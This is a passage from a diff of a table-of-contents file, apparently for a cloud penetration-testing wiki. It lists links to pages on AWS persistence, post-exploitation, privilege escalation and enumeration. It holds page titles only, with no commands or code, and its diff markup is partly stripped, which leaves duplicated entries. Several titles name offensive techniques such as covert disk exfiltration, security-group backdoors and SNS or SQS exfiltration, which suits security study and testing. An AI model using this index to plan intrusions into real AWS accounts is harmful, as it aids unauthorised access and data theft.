- [AWS - Lambda Layers Persistence](pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-lambda-layers-persistence.md)
|
||||
- [AWS - Lightsail Persistence](pentesting-cloud/aws-security/aws-persistence/aws-lightsail-persistence.md)
|
||||
- [AWS - RDS Persistence](pentesting-cloud/aws-security/aws-persistence/aws-rds-persistence.md)
|
||||
- [AWS - S3 Persistence](pentesting-cloud/aws-security/aws-persistence/aws-s3-persistence.md)
|
||||
- [Aws Sagemaker Persistence](pentesting-cloud/aws-security/aws-persistence/aws-sagemaker-persistence.md)
|
||||
- [AWS - SNS Persistence](pentesting-cloud/aws-security/aws-persistence/aws-sns-persistence.md)
|
||||
- [AWS - Secrets Manager Persistence](pentesting-cloud/aws-security/aws-persistence/aws-secrets-manager-persistence.md)
|
||||
- [AWS - SQS Persistence](pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence.md)
|
||||
- [AWS - SSM Perssitence](pentesting-cloud/aws-security/aws-persistence/aws-ssm-persistence.md)
|
||||
- [AWS - Step Functions Persistence](pentesting-cloud/aws-security/aws-persistence/aws-step-functions-persistence.md)
|
||||
- [AWS - STS Persistence](pentesting-cloud/aws-security/aws-persistence/aws-sts-persistence.md)
|
||||
- [AWS - Lambda Exec Wrapper Persistence](pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-lambda-exec-wrapper-persistence.md)
|
||||
- [AWS - Lightsail Persistence](pentesting-cloud/aws-security/aws-persistence/aws-lightsail-persistence/README.md)
|
||||
- [AWS - RDS Persistence](pentesting-cloud/aws-security/aws-persistence/aws-rds-persistence/README.md)
|
||||
- [AWS - S3 Persistence](pentesting-cloud/aws-security/aws-persistence/aws-s3-persistence/README.md)
|
||||
- [Aws Sagemaker Persistence](pentesting-cloud/aws-security/aws-persistence/aws-sagemaker-persistence/README.md)
|
||||
- [AWS - SNS Persistence](pentesting-cloud/aws-security/aws-persistence/aws-sns-persistence/README.md)
|
||||
- [AWS - Secrets Manager Persistence](pentesting-cloud/aws-security/aws-persistence/aws-secrets-manager-persistence/README.md)
|
||||
- [AWS - SQS Persistence](pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence/README.md)
|
||||
- [AWS - SQS DLQ Backdoor Persistence via RedrivePolicy/RedriveAllowPolicy](pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence/aws-sqs-dlq-backdoor-persistence.md)
|
||||
- [AWS - SQS OrgID Policy Backdoor](pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence/aws-sqs-orgid-policy-backdoor.md)
|
||||
- [AWS - SSM Perssitence](pentesting-cloud/aws-security/aws-persistence/aws-ssm-persistence/README.md)
|
||||
- [AWS - Step Functions Persistence](pentesting-cloud/aws-security/aws-persistence/aws-step-functions-persistence/README.md)
|
||||
- [AWS - STS Persistence](pentesting-cloud/aws-security/aws-persistence/aws-sts-persistence/README.md)
|
||||
- [AWS - Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/README.md)
|
||||
- [AWS - API Gateway Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-api-gateway-post-exploitation.md)
|
||||
- [AWS - CloudFront Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudfront-post-exploitation.md)
|
||||
- [AWS - API Gateway Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-api-gateway-post-exploitation/README.md)
|
||||
- [AWS - Bedrock Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-bedrock-post-exploitation/README.md)
|
||||
- [AWS - CloudFront Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudfront-post-exploitation/README.md)
|
||||
- [AWS - CodeBuild Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/README.md)
|
||||
- [AWS Codebuild - Token Leakage](pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/aws-codebuild-token-leakage.md)
|
||||
- [AWS - Control Tower Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-control-tower-post-exploitation.md)
|
||||
- [AWS - DLM Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-dlm-post-exploitation.md)
|
||||
- [AWS - DynamoDB Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-dynamodb-post-exploitation.md)
|
||||
- [AWS - Control Tower Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-control-tower-post-exploitation/README.md)
|
||||
- [AWS - DLM Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-dlm-post-exploitation/README.md)
|
||||
- [AWS - DynamoDB Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-dynamodb-post-exploitation/README.md)
|
||||
- [AWS - EC2, EBS, SSM & VPC Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md)
|
||||
- [AWS - EBS Snapshot Dump](pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ebs-snapshot-dump.md)
|
||||
- [AWS – Covert Disk Exfiltration via AMI Store-to-S3 (CreateStoreImageTask)](pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ami-store-s3-exfiltration.md)
|
||||
- [AWS - Live Data Theft via EBS Multi-Attach](pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ebs-multi-attach-data-theft.md)
|
||||
- [AWS - EC2 Instance Connect Endpoint backdoor + ephemeral SSH key injection](pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ec2-instance-connect-endpoint-backdoor.md)
|
||||
- [AWS – EC2 ENI Secondary Private IP Hijack (Trust/Allowlist Bypass)](pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-eni-secondary-ip-hijack.md)
|
||||
- [AWS - Elastic IP Hijack for Ingress/Egress IP Impersonation](pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-eip-hijack-impersonation.md)
|
||||
- [AWS - Security Group Backdoor via Managed Prefix Lists](pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-managed-prefix-list-backdoor.md)
|
||||
- [AWS – Egress Bypass from Isolated Subnets via VPC Endpoints](pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-vpc-endpoint-egress-bypass.md)
|
||||
- [AWS - VPC Flow Logs Cross-Account Exfiltration to S3](pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-vpc-flow-logs-cross-account-exfiltration.md)
|
||||
- [AWS - Malicious VPC Mirror](pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-malicious-vpc-mirror.md)
|
||||
- [AWS - ECR Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-ecr-post-exploitation.md)
|
||||
- [AWS - ECS Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-ecs-post-exploitation.md)
|
||||
- [AWS - EFS Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-efs-post-exploitation.md)
|
||||
- [AWS - EKS Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-eks-post-exploitation.md)
|
||||
- [AWS - Elastic Beanstalk Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-elastic-beanstalk-post-exploitation.md)
|
||||
- [AWS - IAM Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-iam-post-exploitation.md)
|
||||
- [AWS - KMS Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-kms-post-exploitation.md)
|
||||
- [AWS - ECR Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-ecr-post-exploitation/README.md)
|
||||
- [AWS - ECS Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-ecs-post-exploitation/README.md)
|
||||
- [AWS - EFS Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-efs-post-exploitation/README.md)
|
||||
- [AWS - EKS Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-eks-post-exploitation/README.md)
|
||||
- [AWS - Elastic Beanstalk Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-elastic-beanstalk-post-exploitation/README.md)
|
||||
- [AWS - IAM Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-iam-post-exploitation/README.md)
|
||||
- [AWS - KMS Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-kms-post-exploitation/README.md)
|
||||
- [AWS - Lambda Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/README.md)
|
||||
- [AWS - Steal Lambda Requests](pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-warm-lambda-persistence.md)
|
||||
- [AWS - Lightsail Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-lightsail-post-exploitation.md)
|
||||
- [AWS - Organizations Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-organizations-post-exploitation.md)
|
||||
- [AWS - RDS Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-rds-post-exploitation.md)
|
||||
- [AWS - S3 Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-s3-post-exploitation.md)
|
||||
- [AWS - Secrets Manager Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-secrets-manager-post-exploitation.md)
|
||||
- [AWS - SES Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-ses-post-exploitation.md)
|
||||
- [AWS - SNS Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation.md)
|
||||
- [AWS - SQS Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-post-exploitation.md)
|
||||
- [AWS - SSO & identitystore Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-sso-and-identitystore-post-exploitation.md)
|
||||
- [AWS - Step Functions Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-stepfunctions-post-exploitation.md)
|
||||
- [AWS - STS Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-sts-post-exploitation.md)
|
||||
- [AWS - VPN Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-vpn-post-exploitation.md)
|
||||
- [AWS - Lambda EFS Mount Injection](pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-lambda-efs-mount-injection.md)
|
||||
- [AWS - Lambda Event Source Mapping Hijack](pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-lambda-event-source-mapping-hijack.md)
|
||||
- [AWS - Lambda Function URL Public Exposure](pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-lambda-function-url-public-exposure.md)
|
||||
- [AWS - Lambda LoggingConfig Redirection](pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-lambda-loggingconfig-redirection.md)
|
||||
- [AWS - Lambda Runtime Pinning Abuse](pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-lambda-runtime-pinning-abuse.md)
|
||||
- [AWS - Lambda Steal Requests](pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-warm-lambda-persistence.md)
|
||||
- [AWS - Lambda VPC Egress Bypass](pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-lambda-vpc-egress-bypass.md)
|
||||
- [AWS - Lightsail Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-lightsail-post-exploitation/README.md)
|
||||
- [AWS - MWAA Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-mwaa-post-exploitation/README.md)
|
||||
- [AWS - Organizations Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-organizations-post-exploitation/README.md)
|
||||
- [AWS - RDS Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-rds-post-exploitation/README.md)
|
||||
- [AWS - SageMaker Post-Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-sagemaker-post-exploitation/README.md)
|
||||
- [Feature Store Poisoning](pentesting-cloud/aws-security/aws-post-exploitation/aws-sagemaker-post-exploitation/feature-store-poisoning.md)
|
||||
- [AWS - S3 Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-s3-post-exploitation/README.md)
|
||||
- [AWS - Secrets Manager Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-secrets-manager-post-exploitation/README.md)
|
||||
- [AWS - SES Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-ses-post-exploitation/README.md)
|
||||
- [AWS - SNS Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation/README.md)
|
||||
- [AWS - SNS Message Data Protection Bypass via Policy Downgrade](pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation/aws-sns-data-protection-bypass.md)
|
||||
- [SNS FIFO Archive Replay Exfiltration via Attacker SQS FIFO Subscription](pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation/aws-sns-fifo-replay-exfil.md)
|
||||
- [AWS - SNS to Kinesis Firehose Exfiltration (Fanout to S3)](pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation/aws-sns-firehose-exfil.md)
|
||||
- [AWS - SQS Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-post-exploitation/README.md)
|
||||
- [AWS – SQS DLQ Redrive Exfiltration via StartMessageMoveTask](pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-post-exploitation/aws-sqs-dlq-redrive-exfiltration.md)
|
||||
- [AWS – SQS Cross-/Same-Account Injection via SNS Subscription + Queue Policy](pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-post-exploitation/aws-sqs-sns-injection.md)
|
||||
- [AWS - SSO & identitystore Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-sso-and-identitystore-post-exploitation/README.md)
|
||||
- [AWS - Step Functions Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-stepfunctions-post-exploitation/README.md)
|
||||
- [AWS - STS Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-sts-post-exploitation/README.md)
|
||||
- [AWS - VPN Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-vpn-post-exploitation/README.md)
|
||||
- [AWS - Privilege Escalation](pentesting-cloud/aws-security/aws-privilege-escalation/README.md)
|
||||
- [AWS - Apigateway Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-apigateway-privesc.md)
|
||||
- [AWS - AppRunner Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-apprunner-privesc.md)
|
||||
- [AWS - Chime Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-chime-privesc.md)
|
||||
- [AWS - Codebuild Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc.md)
|
||||
- [AWS - Codepipeline Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-codepipeline-privesc.md)
|
||||
- [AWS - Apigateway Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-apigateway-privesc/README.md)
|
||||
- [AWS - AppRunner Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-apprunner-privesc/README.md)
|
||||
- [AWS - Chime Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-chime-privesc/README.md)
|
||||
- [AWS - CloudFront](pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudfront-privesc/README.md)
|
||||
- [AWS - Codebuild Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc/README.md)
|
||||
- [AWS - Codepipeline Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-codepipeline-privesc/README.md)
|
||||
- [AWS - Codestar Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/README.md)
|
||||
- [codestar:CreateProject, codestar:AssociateTeamMember](pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/codestar-createproject-codestar-associateteammember.md)
|
||||
- [iam:PassRole, codestar:CreateProject](pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/iam-passrole-codestar-createproject.md)
|
||||
- [AWS - Cloudformation Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/README.md)
|
||||
- [iam:PassRole, cloudformation:CreateStack,and cloudformation:DescribeStacks](pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/iam-passrole-cloudformation-createstack-and-cloudformation-describestacks.md)
|
||||
- [AWS - Cognito Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-cognito-privesc.md)
|
||||
- [AWS - Datapipeline Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-datapipeline-privesc.md)
|
||||
- [AWS - Directory Services Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-directory-services-privesc.md)
|
||||
- [AWS - DynamoDB Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-dynamodb-privesc.md)
|
||||
- [AWS - EBS Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-ebs-privesc.md)
|
||||
- [AWS - EC2 Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc.md)
|
||||
- [AWS - ECR Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecr-privesc.md)
|
||||
- [AWS - ECS Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc.md)
|
||||
- [AWS - EFS Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-efs-privesc.md)
|
||||
- [AWS - Elastic Beanstalk Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-elastic-beanstalk-privesc.md)
|
||||
- [AWS - EMR Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-emr-privesc.md)
|
||||
- [AWS - EventBridge Scheduler Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/eventbridgescheduler-privesc.md)
|
||||
- [AWS - Gamelift](pentesting-cloud/aws-security/aws-privilege-escalation/aws-gamelift.md)
|
||||
- [AWS - Glue Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-glue-privesc.md)
|
||||
- [AWS - IAM Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc.md)
|
||||
- [AWS - KMS Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-kms-privesc.md)
|
||||
- [AWS - Lambda Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-lambda-privesc.md)
|
||||
- [AWS - Lightsail Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-lightsail-privesc.md)
|
||||
- [AWS - Macie Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-macie-privesc.md)
|
||||
- [AWS - Mediapackage Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-mediapackage-privesc.md)
|
||||
- [AWS - MQ Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-mq-privesc.md)
|
||||
- [AWS - MSK Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-msk-privesc.md)
|
||||
- [AWS - RDS Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-rds-privesc.md)
|
||||
- [AWS - Redshift Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-redshift-privesc.md)
|
||||
- [AWS - Route53 Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/route53-createhostedzone-route53-changeresourcerecordsets-acm-pca-issuecertificate-acm-pca-getcer.md)
|
||||
- [AWS - SNS Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-sns-privesc.md)
|
||||
- [AWS - SQS Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-sqs-privesc.md)
|
||||
- [AWS - SSO & identitystore Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-sso-and-identitystore-privesc.md)
|
||||
- [AWS - Organizations Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-organizations-prinvesc.md)
|
||||
- [AWS - S3 Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc.md)
|
||||
- [AWS - Sagemaker Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-sagemaker-privesc.md)
|
||||
- [AWS - Secrets Manager Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-secrets-manager-privesc.md)
|
||||
- [AWS - SSM Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-ssm-privesc.md)
|
||||
- [AWS - Step Functions Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-stepfunctions-privesc.md)
|
||||
- [AWS - STS Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-sts-privesc.md)
|
||||
- [AWS - WorkDocs Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-workdocs-privesc.md)
|
||||
- [AWS - Cognito Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-cognito-privesc/README.md)
|
||||
- [AWS - Datapipeline Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-datapipeline-privesc/README.md)
|
||||
- [AWS - Directory Services Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-directory-services-privesc/README.md)
|
||||
- [AWS - DynamoDB Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-dynamodb-privesc/README.md)
|
||||
- [AWS - EBS Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-ebs-privesc/README.md)
|
||||
- [AWS - EC2 Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc/README.md)
|
||||
- [AWS - ECR Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecr-privesc/README.md)
|
||||
- [AWS - ECS Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc/README.md)
|
||||
- [AWS - EFS Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-efs-privesc/README.md)
|
||||
- [AWS - Elastic Beanstalk Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-elastic-beanstalk-privesc/README.md)
|
||||
- [AWS - EMR Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-emr-privesc/README.md)
|
||||
- [AWS - EventBridge Scheduler Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/eventbridgescheduler-privesc/README.md)
|
||||
- [AWS - Gamelift](pentesting-cloud/aws-security/aws-privilege-escalation/aws-gamelift/README.md)
|
||||
- [AWS - Glue Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-glue-privesc/README.md)
|
||||
- [AWS - IAM Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/README.md)
|
||||
- [AWS - KMS Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-kms-privesc/README.md)
|
||||
- [AWS - Lambda Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-lambda-privesc/README.md)
|
||||
- [AWS - Lightsail Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-lightsail-privesc/README.md)
|
||||
- [AWS - Macie Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-macie-privesc/README.md)
|
||||
- [AWS - Mediapackage Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-mediapackage-privesc/README.md)
|
||||
- [AWS - MQ Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-mq-privesc/README.md)
|
||||
- [AWS - MSK Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-msk-privesc/README.md)
|
||||
- [AWS - RDS Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-rds-privesc/README.md)
|
||||
- [AWS - Redshift Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-redshift-privesc/README.md)
|
||||
- [AWS - Route53 Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/route53-createhostedzone-route53-changeresourcerecordsets-acm-pca-issuecertificate-acm-pca-getcer/README.md)
|
||||
- [AWS - SNS Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-sns-privesc/README.md)
|
||||
- [AWS - SQS Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-sqs-privesc/README.md)
|
||||
- [AWS - SSO & identitystore Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-sso-and-identitystore-privesc/README.md)
|
||||
- [AWS - Organizations Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-organizations-prinvesc/README.md)
|
||||
- [AWS - S3 Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc/README.md)
|
||||
- [AWS - Sagemaker Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-sagemaker-privesc/README.md)
|
||||
- [AWS - Secrets Manager Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-secrets-manager-privesc/README.md)
|
||||
- [AWS - SSM Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-ssm-privesc/README.md)
|
||||
- [AWS - Step Functions Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-stepfunctions-privesc/README.md)
|
||||
- [AWS - STS Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-sts-privesc/README.md)
|
||||
- [AWS - WorkDocs Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-workdocs-privesc/README.md)
|
||||
- [AWS - Services](pentesting-cloud/aws-security/aws-services/README.md)
|
||||
- [AWS - Security & Detection Services](pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/README.md)
|
||||
- [AWS - CloudTrail Enum](pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cloudtrail-enum.md)
|
||||
@@ -335,6 +373,7 @@
|
||||
- [AWS - Trusted Advisor Enum](pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-trusted-advisor-enum.md)
|
||||
- [AWS - WAF Enum](pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-waf-enum.md)
|
||||
- [AWS - API Gateway Enum](pentesting-cloud/aws-security/aws-services/aws-api-gateway-enum.md)
|
||||
- [AWS - Bedrock Enum](pentesting-cloud/aws-security/aws-services/aws-bedrock-enum.md)
|
||||
- [AWS - Certificate Manager (ACM) & Private Certificate Authority (PCA)](pentesting-cloud/aws-security/aws-services/aws-certificate-manager-acm-and-private-certificate-authority-pca.md)
|
||||
- [AWS - CloudFormation & Codestar Enum](pentesting-cloud/aws-security/aws-services/aws-cloudformation-and-codestar-enum.md)
|
||||
- [AWS - CloudHSM Enum](pentesting-cloud/aws-security/aws-services/aws-cloudhsm-enum.md)
|
||||
@@ -345,7 +384,7 @@
|
||||
- [Cognito User Pools](pentesting-cloud/aws-security/aws-services/aws-cognito-enum/cognito-user-pools.md)
|
||||
- [AWS - DataPipeline, CodePipeline & CodeCommit Enum](pentesting-cloud/aws-security/aws-services/aws-datapipeline-codepipeline-codebuild-and-codecommit.md)
|
||||
- [AWS - Directory Services / WorkDocs Enum](pentesting-cloud/aws-security/aws-services/aws-directory-services-workdocs-enum.md)
|
||||
- [AWS - DocumentDB Enum](pentesting-cloud/aws-security/aws-services/aws-documentdb-enum.md)
|
||||
- [AWS - DocumentDB Enum](pentesting-cloud/aws-security/aws-services/aws-documentdb-enum/README.md)
|
||||
- [AWS - DynamoDB Enum](pentesting-cloud/aws-security/aws-services/aws-dynamodb-enum.md)
|
||||
- [AWS - EC2, EBS, ELB, SSM, VPC & VPN Enum](pentesting-cloud/aws-security/aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/README.md)
|
||||
- [AWS - Nitro Enum](pentesting-cloud/aws-security/aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/aws-nitro-enum.md)
|
||||
@@ -370,6 +409,7 @@
|
||||
- [AWS - Redshift Enum](pentesting-cloud/aws-security/aws-services/aws-redshift-enum.md)
|
||||
- [AWS - Relational Database (RDS) Enum](pentesting-cloud/aws-security/aws-services/aws-relational-database-rds-enum.md)
|
||||
- [AWS - Route53 Enum](pentesting-cloud/aws-security/aws-services/aws-route53-enum.md)
|
||||
- [AWS - SageMaker Enum](pentesting-cloud/aws-security/aws-services/aws-sagemaker-enum/README.md)
|
||||
- [AWS - Secrets Manager Enum](pentesting-cloud/aws-security/aws-services/aws-secrets-manager-enum.md)
|
||||
- [AWS - SES Enum](pentesting-cloud/aws-security/aws-services/aws-ses-enum.md)
|
||||
- [AWS - SNS Enum](pentesting-cloud/aws-security/aws-services/aws-sns-enum.md)
|
||||
@@ -379,31 +419,32 @@
|
||||
- [AWS - STS Enum](pentesting-cloud/aws-security/aws-services/aws-sts-enum.md)
|
||||
- [AWS - Other Services Enum](pentesting-cloud/aws-security/aws-services/aws-other-services-enum.md)
|
||||
- [AWS - Unauthenticated Enum & Access](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/README.md)
|
||||
- [AWS - Accounts Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-accounts-unauthenticated-enum.md)
|
||||
- [AWS - API Gateway Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-api-gateway-unauthenticated-enum.md)
|
||||
